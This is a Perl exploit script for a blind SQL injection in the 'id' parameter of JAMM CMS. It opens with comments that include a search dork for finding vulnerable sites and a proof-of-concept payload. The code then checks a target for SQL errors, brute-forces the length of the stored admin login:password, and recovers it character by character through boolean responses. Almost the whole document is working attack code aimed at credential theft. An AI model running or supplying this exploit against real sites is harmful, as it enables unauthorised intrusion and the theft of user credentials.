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#!/usr/bin/perl
######################
#
#JAMM CMS (id) Blind SQL Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
#Dork: "powered by JAMM"
#
##
###
##
#
#http://www.site.de/cms/?id=blah
#Ok when we give $id an unexpected value like this we get an SQL Error.
#Unfortunately the script is so rude that it doesn't want to show us any data when we UNION SELECT.
#But when we give $id an existing value and append AND 1=0 the site changes.
#So Blind SQL Injection is possible.
#For mySQL Version>=5 we can use subquerys to retrive data,
#otherwise we have to use BENCHMARK().
#
#
#SQL Injection:
#http://[target]/[path]/index.php?id=[SQL]
#
#PoC for mySQL Version = 5:
#index.php?id=10/**/and/**/substring((select/**/concat(login,0x3a,password)/**/from/**/jamm_cms_owen_website_user/**/limit/**/0,1),1,1)/**/like/**/0xbla/*
#
#If this condition returns true it would be the same as if we inject AND 1=1
#so the site gives normal output.
#
#Possible Perl Exploit (will not work always because of different tablenames etc):
#THIS IS JUST AN EXAPLE!!!
use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;
usage();
$server = $ARGV[0];
$dir = $ARGV[1];
print"\n";
if (!$dir) { die "Read Usage!\n"; }
$filename ="index.php";
my $vulnCheck = "http://".$server.$dir.$filename;
;
my @Daten = ("61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","3A","5F","31","32","33","34","35","36","37","38","39","30");
print"[x]Connecting:";
my $Attack= $userAgent->get($vulnCheck."?id='");
if($Attack->is_success)
{
print " Connected \n";
print "[x]Vulnerable Check: ";
if($Attack->content =~ m/You have an error in your SQL syntax/i)
{ print "Vulnerable \n"; }
else
{ print "Not Vulnerable"; exit;}
}
else
{
print " Connection Failed";
exit;
}
my $hex="";
my $length;
print "[x]Bruteforcing Length \n";
my $lengthCounter = 1;
while(1)
{
##table name will be different sometimes
my $url = "".$vulnCheck."?id=10%20%20and%20LENGTH((select%20concat(login,0x3a,password)%20from%20jamm_cms_owen_website_user%20limit%200,1))=".$lengthCounter."";
my $Attack= $userAgent->get($url);
my $content = $Attack->content;
if($content =~ m/<META NAME='Title' CONTENT=''>/i)
{
$lengthCounter++;
}
else
{
if($content =~ m/You have an error in your SQL syntax/i)
{
print "Something wrong. mySQL Version? "; exit;
}
else
{
$length=$lengthCounter;
last;
}
}
}
print "[x]Injecting Black Magic \n";
for($b=1;$b<=$length;$b++)
{
for(my $u=0;$u<28;$u++)
{
##table name will be different sometimes
my $url = "".$vulnCheck."?id=10%20%20and%20substring((select%20concat(login,0x3a,password)%20from%20jamm_cms_owen_website_user%20limit%200,1),".$b.",1)%20like%200x".$Daten[$u]."";
my $Attack= $userAgent->get($url);
my $content = $Attack->content;
##This will also change sometimes. Take content of AND 1=0
if($content =~ m/<META NAME='Title' CONTENT=''>/i)
{
}
else
{
print "[x] Found Char ".$Daten[$u]."\n";
$hex=$hex.$Daten[$u];
last;
}
}
}
print "[x]Converting \n";
my $a_str = hex_to_ascii($hex);
@login = split(/\:/, $a_str);
print "[x]Success! \n";
print " Username: $login[0]\n";
print " Password: $login[1]";
sub hex_to_ascii ($)
{
(my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
return $str;
}
sub usage()
{
print q
{
######################################################
JAMM CMS Remote Blind SQL Injection Exploit
-Written by h0yt3r-
Usage: JAMM_CMS.pl [Server] [Path]
Sample:
perl JAMM.pl.pl www.site.com /cms/
######################################################
};
}
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